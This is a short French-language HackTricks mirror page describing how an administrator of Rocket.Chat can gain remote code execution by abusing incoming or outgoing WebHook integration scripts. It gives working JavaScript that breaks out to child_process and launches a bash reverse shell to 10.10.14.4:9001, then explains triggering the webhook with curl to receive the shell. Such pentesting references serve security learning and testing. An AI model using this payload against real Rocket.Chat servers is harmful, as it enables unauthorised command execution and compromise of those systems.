mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 14:38:27 +00:00
1.5 KiB
1.5 KiB
RCE
Si vous êtes administrateur dans Rocket Chat, vous pouvez obtenir une RCE.
- Allez dans
Intégrations
et sélectionnezNouvelle intégration
et choisissez n'importe laquelle :Incoming WebHook
ouOutgoing WebHook
./admin/integrations/incoming
![](/Mirrors/hacktricks/media/commit/7bab641a2d2f23c961240894f43b990e966bc4f6/.gitbook/assets/image%20%284%29%20%282%29.png)
- Selon la documentation, les deux utilisent ES2015 / ECMAScript 6 (essentiellement JavaScript) pour traiter les données. Alors, obtenons un shell inversé pour javascript comme suit :
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
- Configurez le WebHook (le canal et le nom d'utilisateur du message doivent exister) :
![](/Mirrors/hacktricks/media/commit/7bab641a2d2f23c961240894f43b990e966bc4f6/.gitbook/assets/image%20%281%29%20%288%29.png)
- Configurez le script WebHook :
![](/Mirrors/hacktricks/media/commit/7bab641a2d2f23c961240894f43b990e966bc4f6/.gitbook/assets/image%20%282%29%20%281%29%20%281%29%20%282%29.png)
- Enregistrez les modifications
- Obtenez l'URL WebHook générée :
![](/Mirrors/hacktricks/media/commit/7bab641a2d2f23c961240894f43b990e966bc4f6/.gitbook/assets/image%20%283%29%20%281%29%20%281%29%20%281%29.png)
- Appelez-le avec curl et vous devriez recevoir le shell inversé